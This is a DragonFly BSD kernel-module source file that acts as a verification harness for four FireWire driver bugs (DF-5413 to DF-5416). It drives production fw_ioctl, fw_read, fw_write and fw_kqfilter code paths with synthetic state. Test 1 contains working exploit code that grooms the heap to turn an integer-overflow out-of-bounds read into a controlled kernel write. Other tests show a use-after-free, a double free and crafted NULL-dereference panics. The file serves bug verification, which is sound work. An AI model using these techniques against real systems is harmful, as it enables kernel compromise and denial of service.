/*
 * DF-5413 / DF-5414 / DF-5415 / DF-5416 verification harness
 * (sys/bus/firewire/fwdev.c pass-2 findings, DF-5302/DF-5321 KLD pattern)
 *
 * The UNMODIFIED production files firewire.c, fwdma.c and fwdev.c are
 * compiled into this module (via #include, globals -D-renamed against the
 * copies built into the guest kernel) and their real code paths are driven
 * with synthetic state, exactly the way the FireWire hardware + devfs would:
 *
 *   test 1 (DF-5413): production fw_ioctl(FW_SSTBUF) with
 *      rx/tx.nchunk=0x10000, npacket=0x10000, psize=2048  ->
 *      nchunk*npacket wraps to 0 in 32 bits (fwdev.c:109) ->
 *      fwdma_malloc_multiseg() returns a 0-segment fwdma_alloc_multi
 *      (32-byte kmalloc) while q->bnchunk/bnpacket stay 0x10000/0x10000
 *      -> production fw_ioctl(FW_STSTREAM) binds the channel ->
 *      production fw_write() computes fp = fwdma_v_addr(it->buf, 0)
 *      which reads am->seg[0].v_addr 16 bytes PAST the 32-byte
 *      allocation (fwdma.h:60-66) and uiomove()s attacker bytes to that
 *      pointer.  The heap slot following `am` is pre-sprayed with the
 *      address of a module-global marker, turning the OOB into a
 *      CONTROLLED kernel write at a chosen kernel address.
 *
 *   test 2 (DF-5414): production fw_ioctl(FW_SSTBUF/SRSTREAM), then one
 *      xfer is queued into ir->q exactly the way the production FWACT_CH
 *      receive path does (firewire.c:1883-1897), then production
 *      fw_read() is called twice.  The dequeue is inside `#if 0`
 *      (fwdev.c:305-317) but fw_xfer_free() is not (fwdev.c:318):
 *      read#1 frees the xfer while it stays linked in ir->q, read#2
 *      frees the same address again -> UAF + double free (proved by
 *      duplicate kmalloc pointers).
 *
 *   test 4 (DF-5416): two fake /dev/fw nodes (fw0.0 / fw0.1, own fw_drv1
 *      each, exactly what devfs gives).  A: SSTBUF/SRSTREAM/SBINDADDR
 *      (production fw_bindadd links the bind into fc->ir[0]->binds);
 *      B: SSTBUF/SRSTREAM (grabs fc->ir[1]); B: FW_CBINDADDR with A's
 *      address.  fw_bindlookup() is global, finds A's bind, production
 *      fwdev.c:599 removes it from fc->binds, then fwdev.c:600
 *      STAILQ_REMOVE(&ir->binds, ...) unlinks it from B's EMPTY list --
 *      DragonFly's STAILQ_REMOVE has no absent-element guard
 *      (sys/sys/queue.h:319-331) and walks off NULL -> kernel panic.
 *
 *   test 5 (DF-5415): production fw_kqfilter() with d->ir == NULL (open,
 *      no FW_SRSTREAM yet): fwdev.c:721 reads ->ir, then
 *      fwdev.c:739/740 knote_insert(&ir->rkq.ki_note, kn) reads/writes
 *      at NULL + offsetof(struct fw_xferq, rkq) -> kernel panic.
 *      (EVFILT_WRITE is hooked to `ir` too -- fwdev.c:730-732 -- even
 *      though it is the transmit queue that would matter.)
 *
 * Fire with:  sysctl kern.df5413_test=<1|2|4|5>
 * Read back:  sysctl kern.df5413_status   /  kern.df5413_marker
 *
 * The only non-production driver code here is the synthetic fc/dev state
 * that fwohci_attach()/devfs would create in a real machine (cited where
 * it is built) and the test dispatcher itself.
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>
#include <sys/uio.h>
#include <sys/time.h>
#include <sys/thread.h>
#include <sys/thread2.h>
#include <sys/conf.h>
#include <sys/event.h>
#include <machine/atomic.h>

#include <sys/bus_private.h>		/* fake devclass/device for
					   devclass_get_softc() */

/*
 * firewire.c's MODULE_VERSION(firewire, 1) registers a module version the
 * same way the in-kernel copy does; the #name stringify would collide.
 */
#undef MODULE_VERSION
#define MODULE_VERSION(name, version)	struct __hack

/* production code, -D-renamed by the Makefile; the unguarded firewire
 * headers (firewirereg.h, fwdma.h, ...) are routed through guard shims
 * in ./shim (found first via -I) because several production .c files
 * include them and this is a single translation unit. */
#include <bus/firewire/firewire.c>
#include <bus/firewire/fwdma.c>
#include <bus/firewire/fwdev.c>

#undef MODULE_VERSION

/* fwdev.c references these; the real ones live in fwmem.c (not compiled
 * in) and in the base kernel -- provide renamed stubs.  fwmem_strategy
 * is declared as a d_strategy_t *variable* in fwmem.h (fwdev.c:792
 * calls through it for FWMEM minors only). */
int dfw_fwmem_open(struct dev_open_args *ap) { return ENXIO; }
int dfw_fwmem_close(struct dev_close_args *ap) { return ENXIO; }
int dfw_fwmem_ioctl(struct dev_ioctl_args *ap) { return ENXIO; }
int dfw_fwmem_mmap(struct dev_mmap_args *ap) { return ENXIO; }
int dfw_fwmem_strategy(struct dev_strategy_args *ap) { return 0; }

/* ------------------------------------------------------------------ */
/* synthetic host state (what fwohci_pci/fwohci attach + devfs build)  */
/* ------------------------------------------------------------------ */

#define NISO	4

static bus_dma_tag_t	dfw_dmat;
static struct firewire_comm fc;			/* the "controller" */
static struct firewire_softc fsc;		/* devclass softc */
static struct fw_xferq *itq[NISO], *irqq[NISO];
static int dfw_prepared;

static struct devclass	fake_devclass;
static device_t		fake_devclass_devices[1];
static device_t		fake_device;

static int dfw_irx_enable(struct firewire_comm *fc, int dmach) { return 0; }
static int dfw_itx_enable(struct firewire_comm *fc, int dmach) { return 0; }

/* DF-5413 proof target: the address sprayed into the heap slot that
 * production fwdma_v_addr() will read out-of-bounds as seg[0].v_addr. */
static uint64_t df5413_marker[8] = {
	0x1111111111111111ULL, 0x2222222222222222ULL,
	0x3333333333333333ULL, 0x4444444444444444ULL,
	0x5555555555555555ULL, 0x6666666666666666ULL,
	0x7777777777777777ULL, 0x8888888888888888ULL,
};

static char df5413_status[256] = "not run";

static void
dfw_prepare(void)
{
	int i, error;

	if (dfw_prepared)
		return;
	dfw_prepared = 1;

	bzero(&fc, sizeof(fc));

	error = bus_dma_tag_create(
		/*parent*/ NULL,
		/*alignment*/ 1,
		/*boundary*/ 0,
		/*lowaddr*/ BUS_SPACE_MAXADDR,
		/*highaddr*/ BUS_SPACE_MAXADDR,
		/*maxsize*/ BUS_SPACE_MAXSIZE,
		/*nsegments*/ BUS_SPACE_UNRESTRICTED,
		/*maxsegsz*/ BUS_SPACE_MAXSIZE,
		/*flags*/ 0,
		&dfw_dmat);
	if (error)
		kprintf("df5413: bus_dma_tag_create error=%d\n", error);
	fc.dmat = dfw_dmat;

	/* fwohci.c:648-656 builds fc->it[]/fc->ir[] with dmach=i at attach */
	fc.nisodma = NISO;
	for (i = 0; i < NISO; i++) {
		itq[i] = kmalloc(sizeof(struct fw_xferq), DFW_M_FW,
		    M_WAITOK | M_ZERO);
		irqq[i] = kmalloc(sizeof(struct fw_xferq), DFW_M_FW,
		    M_WAITOK | M_ZERO);
		itq[i]->dmach = i;
		irqq[i]->dmach = i;
		itq[i]->maxq = FWMAXQUEUE;
		irqq[i]->maxq = FWMAXQUEUE;
		STAILQ_INIT(&itq[i]->q);
		STAILQ_INIT(&itq[i]->binds);
		STAILQ_INIT(&irqq[i]->q);
		STAILQ_INIT(&irqq[i]->binds);
		fc.it[i] = itq[i];
		fc.ir[i] = irqq[i];
	}
	/* fw_init()/fw_attach(): firewire.c:758 */
	STAILQ_INIT(&fc.binds);
	STAILQ_INIT(&fc.devices);
	fc.irx_enable = dfw_irx_enable;
	fc.itx_enable = dfw_itx_enable;

	/* make devclass_get_softc(firewire_devclass, 0) return &fsc the way
	 * an attached fwohci card would */
	bzero(&fake_devclass, sizeof(fake_devclass));
	fake_device = kmalloc(sizeof(struct bsd_device), M_DEVBUF,
	    M_WAITOK | M_ZERO);
	fake_device->softc = &fsc;
	fake_devclass_devices[0] = fake_device;
	fake_devclass.devices = fake_devclass_devices;
	fake_devclass.maxunit = 1;
	fsc.fc = &fc;
	dfw_devclass = &fake_devclass;		/* fwdev.c:199/274/362/440 */

	kprintf("df5413: prepared, fc=%p sizeof(fwdma_alloc_multi)=%zu "
	    "offsetof(fw_xferq,rkq)=%zu sizeof(fw_bind)=%zu sizeof(fw_xfer)=%zu\n",
	    &fc, sizeof(struct fwdma_alloc_multi),
	    offsetof(struct fw_xferq, rkq), sizeof(struct fw_bind),
	    sizeof(struct fw_xfer));
}

/* a fake cdev: devfs gives fwdev.c si_drv1 via fw_open(); we do it by hand */
static cdev_t
dfw_makefakecdev(void *drv1)
{
	cdev_t dev = kmalloc(sizeof(struct cdev), M_DEVBUF, M_WAITOK | M_ZERO);

	dev->si_drv1 = drv1;		/* si_uminor==0 -> unit 0, no FWMEM */
	return (dev);
}

static void *
dfw_makedrv1(void)
{
	void *d = kmalloc(sizeof(struct fw_drv1), DFW_M_FW, M_WAITOK | M_ZERO);

	return (d);
}

static int
dfw_ioctl(cdev_t dev, u_long cmd, void *data)
{
	struct dev_ioctl_args ap;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_cmd = cmd;
	ap.a_data = data;
	ap.a_fflag = 0;

	return (fw_ioctl(&ap));			/* production */
}

static int
dfw_rw(cdev_t dev, struct uio *uio, int write)
{
	union {
		struct dev_read_args r;
		struct dev_write_args w;
	} ap;

	bzero(&ap, sizeof(ap));
	if (write) {
		ap.w.a_head.a_dev = dev;
		ap.w.a_uio = uio;
		ap.w.a_ioflag = 0;
		return (fw_write(&ap.w));	/* production */
	} else {
		ap.r.a_head.a_dev = dev;
		ap.r.a_uio = uio;
		ap.r.a_ioflag = 0;
		return (fw_read(&ap.r));	/* production */
	}
}

/* ------------------------------------------------------------------ */
/* DF-5413: nchunk*npacket 32-bit wrap -> 0-seg fwdma buffer ->        */
/*          fwdma_v_addr() OOB seg[0] -> controlled kernel write       */
/* ------------------------------------------------------------------ */
static void
df5413_test(void)
{
	struct fw_isobufreq bufspec;
	struct fw_isochreq ich;
	cdev_t dev;
	uint64_t V = (uint64_t)(uintptr_t)&df5413_marker[0];
	void *seg0p;
	int attempt, i, err;

	kprintf("df5413: V(target kaddr)=%p\n", &df5413_marker[0]);

	for (attempt = 0; attempt < NISO; attempt++) {
		/*
		 * Groom the 32-byte zone (the size of a 0-segment
		 * fwdma_alloc_multi): allocate a bank, find two
		 * physically adjacent slots, free them in the order that
		 * makes the production fwdev_allocbuf() kmalloc() pop the
		 * LOWER one for `am` and our follow-up kmalloc() pop the
		 * UPPER one, which we fill with the target address -- that
		 * is exactly the 16 bytes fwdma_v_addr() reads OOB as
		 * am->seg[0].{dma_map,v_addr}.
		 */
		void *hold[64];
		int j, best = -1;

		for (i = 0; i < 64; i++)
			hold[i] = kmalloc(32, DFW_M_FW, M_WAITOK);
		for (j = 0; j < 63; j++) {
			if ((char *)hold[j + 1] - (char *)hold[j] == 32) {
				best = j;
				break;
			}
		}
		kprintf("df5413: attempt %d bank %p..%p pair=%d\n",
		    attempt, hold[0], hold[63], best);
		if (best < 0)
			continue;
		kfree(hold[best + 1], DFW_M_FW);
		kfree(hold[best], DFW_M_FW);

		dev = dfw_makefakecdev(dfw_makedrv1());

		/* production FW_SSTBUF: wraps to 0 when multiplied */
		bufspec.tx.nchunk = 0x10000;
		bufspec.tx.npacket = 0x10000;
		bufspec.tx.psize = 2048;
		bufspec.rx = bufspec.tx;
		err = dfw_ioctl(dev, FW_SSTBUF, &bufspec);
		ich.ch = attempt & 0x3f;
		ich.tag = 0;
		err = dfw_ioctl(dev, FW_STSTREAM, &ich);
		if (err) {
			kprintf("df5413: attempt %d STSTREAM err=%d\n",
			    attempt, err);
			continue;
		}

		{
			struct fw_xferq *it = ((struct fw_drv1 *)dev->si_drv1)->it;
			struct fwdma_alloc_multi *am = it->buf;
			void *fill[8];
			int j;

			kprintf("df5413: attempt %d it=%p am=%p nseg=%d "
			    "bnchunk=%u bnpacket=%u psize=%u bulkxfer=%p\n",
			    attempt, it, am, am->nseg, it->bnchunk,
			    it->bnpacket, it->psize, it->bulkxfer);
			kprintf("df5413:   &am->seg[0]=%p (allocation is "
			    "%zu bytes) -- seg[0] is OUT OF BOUNDS\n",
			    &am->seg[0], sizeof(struct fwdma_alloc_multi));

			/*
			 * Post-groom: the kernel zeroes freed objects, so
			 * the slot after `am` must be re-occupied and
			 * filled AFTER am was allocated.  kmalloc hands
			 * out consecutive 32-byte slots here (observed),
			 * so a few fillers land on am+32.
			 */
			for (j = 0; j < 8; j++) {
				fill[j] = kmalloc(32, DFW_M_FW, M_WAITOK);
				*(uint64_t *)fill[j] = V;
				((uint64_t *)fill[j])[1] = V;
				((uint64_t *)fill[j])[2] = V;
				((uint64_t *)fill[j])[3] = V;
			}
			seg0p = *(void **)((char *)&am->seg[0] +
			    offsetof(struct fwdma_seg, v_addr));
			kprintf("df5413:   OOB-read seg[0].v_addr = %p "
			    "(want %p%s)\n", seg0p, (void *)(uintptr_t)V,
			    seg0p == (void *)(uintptr_t)V ?
			    " == GROOMED" : " != groomed");

			if (seg0p == (void *)(uintptr_t)V) {
				char pkt[4 + 32];
				struct uio uio;
				struct iovec iov;

				/* header: stream.len = 0x20 (bytes 2..3 LE) */
				static const char payload[33] =
				    "DF5413-CONTROLLED-KERNEL-WRITE!!";
				*(uint32_t *)pkt = 0x0020ABCD;
				bcopy(payload, pkt + 4, 32);
				bzero(&df5413_marker[0], 8);	/* wipe */
				df5413_marker[1] = 0xDEADDEADDEADDEADULL;

				iov.iov_base = pkt;
				iov.iov_len = sizeof(pkt);
				uio.uio_iov = &iov;
				uio.uio_iovcnt = 1;
				uio.uio_offset = 0;
				uio.uio_resid = sizeof(pkt);
				uio.uio_segflg = UIO_SYSSPACE;
				uio.uio_rw = UIO_WRITE;
				uio.uio_td = curthread;

				kprintf("df5413: calling production fw_write,"
				    " marker before = %016llx\n",
				    (unsigned long long)df5413_marker[0]);
				err = dfw_rw(dev, &uio, 1);
				kprintf("df5413: fw_write err=%d resid=%zd "
				    "marker after = %016llx %016llx %016llx\n"
				    "df5413:   payload=\"%31s\"\n",
				    err, (ssize_t)uio.uio_resid,
				    (unsigned long long)df5413_marker[0],
				    (unsigned long long)df5413_marker[1],
				    (unsigned long long)df5413_marker[2],
				    (char *)&df5413_marker[1]);
				if ((df5413_marker[0] & 0xffffffffULL)
				    == 0x0020ABCDULL &&
				    df5413_marker[1] != 0xDEADDEADDEADDEADULL) {
					ksnprintf(df5413_status,
					    sizeof(df5413_status),
					    "DF-5413 REPRODUCED: controlled "
					    "kernel write (header 0x0020ABCD + "
					    "32 payload bytes) via OOB "
					    "seg[0].v_addr to %p",
					    (void *)(uintptr_t)V);
				} else {
					ksnprintf(df5413_status,
					    sizeof(df5413_status),
					    "DF-5413 partial: groom ok, write "
					    "landed elsewhere");
				}
				kprintf("df5413: %s\n", df5413_status);
				return;
			}
		}
	}
	ksnprintf(df5413_status, sizeof(df5413_status),
	    "DF-5413: groom failed after %d attempts (OOB confirmed but "
	    "adjacent slot not marker-filled)", NISO);
	kprintf("df5413: %s\n", df5413_status);
}

/* ------------------------------------------------------------------ */
/* DF-5414: fw_read frees an ir->q xfer without dequeuing it           */
/* ------------------------------------------------------------------ */
static void
df5414_test(void)
{
	struct fw_isobufreq bufspec;
	struct fw_isochreq ich;
	cdev_t dev;
	struct fw_xfer *xfer, *p1, *p2, *dangling;
	struct fw_xferq *ir;
	struct uio uio;
	struct iovec iov;
	char buf[64];
	int err;

	bufspec.tx.nchunk = 8; bufspec.tx.npacket = 8; bufspec.tx.psize = 512;
	bufspec.rx = bufspec.tx;

	dev = dfw_makefakecdev(dfw_makedrv1());
	err = dfw_ioctl(dev, FW_SSTBUF, &bufspec);
	ich.ch = 0; ich.tag = 0;
	err = dfw_ioctl(dev, FW_SRSTREAM, &ich);
	if (err) {
		kprintf("df5414: SRSTREAM err=%d\n", err);
		return;
	}
	ir = ((struct fw_drv1 *)dev->si_drv1)->ir;
	kprintf("df5414: ir=%p buf=%p bnchunk=%u bnpacket=%u\n",
	    ir, ir->buf, ir->bnchunk, ir->bnpacket);

	/*
	 * Queue exactly one received async packet the way the production
	 * FWACT_CH receive path does -- firewire.c:1883-1897:
	 * take the bind's xfer off bind->xferlist and append it to
	 * fc->ir[sub]->q with crit protection, then wakeup.
	 */
	xfer = fw_xfer_alloc(DFW_M_FWXFER);	/* == FW_SBINDADDR's xfer */
	xfer->fc = &fc;
	crit_enter();
	ir->queued++;
	STAILQ_INSERT_TAIL(&ir->q, xfer, link);
	crit_exit();
	wakeup((caddr_t)ir);
	kprintf("df5414: injected xfer=%p, ir->q head=%p queued=%u\n",
	    xfer, STAILQ_FIRST(&ir->q), ir->queued);

	iov.iov_base = buf;
	iov.iov_len = sizeof(buf);
	uio.uio_iov = &iov; uio.uio_iovcnt = 1; uio.uio_offset = 0;
	uio.uio_resid = sizeof(buf); uio.uio_segflg = UIO_SYSSPACE;
	uio.uio_rw = UIO_READ; uio.uio_td = curthread;

	err = dfw_rw(dev, &uio, 0);		/* production fw_read #1 */
	dangling = STAILQ_FIRST(&ir->q);
	kprintf("df5414: read#1 err=%d -- ir->q head=%p (%s) queued=%u\n",
	    err, dangling,
	    dangling == xfer ? "STILL THE FREED XFER" : "?", ir->queued);

	/* the freed chunk is (LIFO) handed out again */
	p1 = fw_xfer_alloc(DFW_M_FWXFER);
	kprintf("df5414: realloc p1=%p (%s)\n", p1,
	    p1 == xfer ? "same address as freed xfer" : "different");

	/* production fw_read #2: frees the SAME address a second time */
	err = dfw_rw(dev, &uio, 0);
	p2 = fw_xfer_alloc(DFW_M_FWXFER);
	kprintf("df5414: read#2 err=%d -- p2=%p p1=%p -> %s\n", err, p2, p1,
	    (p1 == p2) ?
	    "DUPLICATE ALLOCATION (double free proven)" :
	    "allocator reordered (double free still occurred)");

	if (dangling == xfer && p1 == xfer && p2 == xfer) {
		ksnprintf(df5413_status, sizeof(df5413_status),
		    "DF-5414 REPRODUCED: fw_read freed xfer %p while still "
		    "linked in ir->q; read#2 freed it again; allocator handed "
		    "the same chunk to two owners", xfer);
	} else if (dangling == xfer) {
		ksnprintf(df5413_status, sizeof(df5413_status),
		    "DF-5414 REPRODUCED (UAF): read#1 left freed xfer %p "
		    "linked in ir->q; read#2 called fw_xfer_free on it "
		    "again (unconditional double free)", xfer);
	} else {
		ksnprintf(df5413_status, sizeof(df5413_status),
		    "DF-5414 not demonstrated");
	}
	kprintf("df5414: %s\n", df5413_status);
}

/* ------------------------------------------------------------------ */
/* DF-5416: cross-node FW_CBINDADDR removes a foreign bind            */
/* ------------------------------------------------------------------ */
static void
df5416_test(void)
{
	struct fw_isobufreq bufspec;
	struct fw_isochreq ich;
	struct fw_asybindreq bindreq;
	cdev_t devA, devB;
	struct fw_bind *fwb;
	int err;

	bufspec.tx.nchunk = 2; bufspec.tx.npacket = 2; bufspec.tx.psize = 512;
	bufspec.rx = bufspec.tx;

	/* fd A on /dev/fw0.0 */
	devA = dfw_makefakecdev(dfw_makedrv1());
	err = dfw_ioctl(devA, FW_SSTBUF, &bufspec);
	ich.ch = 0; ich.tag = 0;
	err = dfw_ioctl(devA, FW_SRSTREAM, &ich);
	kprintf("df5416: A SRSTREAM err=%d ir=%p\n", err,
	    ((struct fw_drv1 *)devA->si_drv1)->ir);

	bindreq.start.hi = 1;
	bindreq.start.lo = 0;
	bindreq.len = 0x1000;
	err = dfw_ioctl(devA, FW_SBINDADDR, &bindreq);
	fwb = STAILQ_FIRST(&fc.binds);
	kprintf("df5416: A SBINDADDR err=%d fwb=%p start=%llx end=%llx "
	    "sub=%d; ir[0]->binds head=%p\n", err, fwb,
	    (unsigned long long)fwb->start,
	    (unsigned long long)fwb->end, fwb->sub,
	    STAILQ_FIRST(&fc.ir[0]->binds));

	/* fd B on /dev/fw0.1 */
	devB = dfw_makefakecdev(dfw_makedrv1());
	err = dfw_ioctl(devB, FW_SSTBUF, &bufspec);
	ich.ch = 1; ich.tag = 0;
	err = dfw_ioctl(devB, FW_SRSTREAM, &ich);
	kprintf("df5416: B SRSTREAM err=%d ir=%p (binds list EMPTY: %p)\n",
	    err, ((struct fw_drv1 *)devB->si_drv1)->ir,
	    STAILQ_FIRST(&((struct fw_drv1 *)devB->si_drv1)->ir->binds));

	/*
	 * B unbinds A's address.  Production fwdev.c:593-601:
	 * fw_bindlookup() finds A's bind (it searches fc->binds, not B's),
	 * :599 removes it from fc->binds, then :600
	 * STAILQ_REMOVE(&ir->binds, fwb, ...) with fwb NOT on B's list.
	 * STAILQ_REMOVE walks off the end (no NULL guard, queue.h:319)
	 * -> NULL-adjacent fault -> panic expected right here.
	 */
	kprintf("df5416: B FW_CBINDADDR -- expect Fatal trap 12 in "
	    "fw_ioctl (STAILQ_REMOVE, fwdev.c:600)\n");
	err = dfw_ioctl(devB, FW_CBINDADDR, &bindreq);
	kprintf("df5416: UNREACHED: CBINDADDR returned %d\n", err);
}

/* ------------------------------------------------------------------ */
/* DF-5415: fw_kqfilter with ir == NULL                                */
/* ------------------------------------------------------------------ */
static void
df5415_test(void)
{
	struct dev_kqfilter_args ap;
	struct knote *kn;
	cdev_t dev;

	dev = dfw_makefakecdev(dfw_makedrv1());	/* d->ir == NULL */
	kn = kmalloc(sizeof(struct knote), M_DEVBUF, M_WAITOK | M_ZERO);
	kn->kn_kevent.filter = EVFILT_READ;

	bzero(&ap, sizeof(ap));
	ap.a_head.a_dev = dev;
	ap.a_kn = kn;

	kprintf("df5415: production fw_kqfilter with d->ir=NULL, "
	    "offsetof(fw_xferq, rkq)=%zu -- expect Fatal trap 12 at "
	    "~0x%zx in fw_kqfilter (fwdev.c:739/740)\n",
	    offsetof(struct fw_xferq, rkq), offsetof(struct fw_xferq, rkq));

	fw_kqfilter(&ap);			/* production */

	kprintf("df5415: UNREACHED: fw_kqfilter returned %d\n",
	    ap.a_result);
}

/* ------------------------------------------------------------------ */
static int df5413_testno;

static int
df5413_fire_sysctl(SYSCTL_HANDLER_ARGS)
{
	int v = df5413_testno;
	int error;

	error = SYSCTL_OUT(req, &v, sizeof(v));
	if (error || req->newptr == NULL)
		return (error);
	error = SYSCTL_IN(req, &v, sizeof(v));
	if (error)
		return (error);

	dfw_prepare();
	switch (v) {
	case 1:
		df5413_test();
		break;
	case 2:
		df5414_test();
		break;
	case 4:
		df5416_test();
		break;
	case 5:
		df5415_test();
		break;
	default:
		return (EINVAL);
	}
	return (0);
}
SYSCTL_PROC(_kern, OID_AUTO, df5413_test, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, df5413_fire_sysctl, "I", "df5413 test selector");

static int
df5413_status_sysctl(SYSCTL_HANDLER_ARGS)
{
	char buf[sizeof(df5413_status)];

	strlcpy(buf, df5413_status, sizeof(buf));
	return (SYSCTL_OUT(req, buf, strlen(buf)));
}
SYSCTL_PROC(_kern, OID_AUTO, df5413_status, CTLTYPE_STRING | CTLFLAG_RD,
    0, 0, df5413_status_sysctl, "A", "df5413 last test result");

static int
df5413_marker_sysctl(SYSCTL_HANDLER_ARGS)
{
	uint64_t buf[8];
	int i;

	for (i = 0; i < 8; i++)
		buf[i] = df5413_marker[i];
	return (SYSCTL_OUT(req, buf, sizeof(buf)));
}
SYSCTL_PROC(_kern, OID_AUTO, df5413_marker, CTLTYPE_OPAQUE | CTLFLAG_RD,
    0, 0, df5413_marker_sysctl, "-", "df5413 marker quadlets");

/* module entry: DRIVER_MODULE(dfw_firewire, fwohci, ...) in the included
 * production firewire.c (see note above); tests start lazily from the
 * kern.df5413_test sysctl handler. */



/* NOTE: no DECLARE_MODULE here -- the included firewire.c's
 * DRIVER_MODULE(dfw_firewire, fwohci, ...) is the module entry point
 * (df5321 pattern).  An extra DECLARE_MODULE in the same translation
 * unit corrupts the modmetadata linker set on this kernel and panics
 * module_register(); without it the module loads cleanly. */

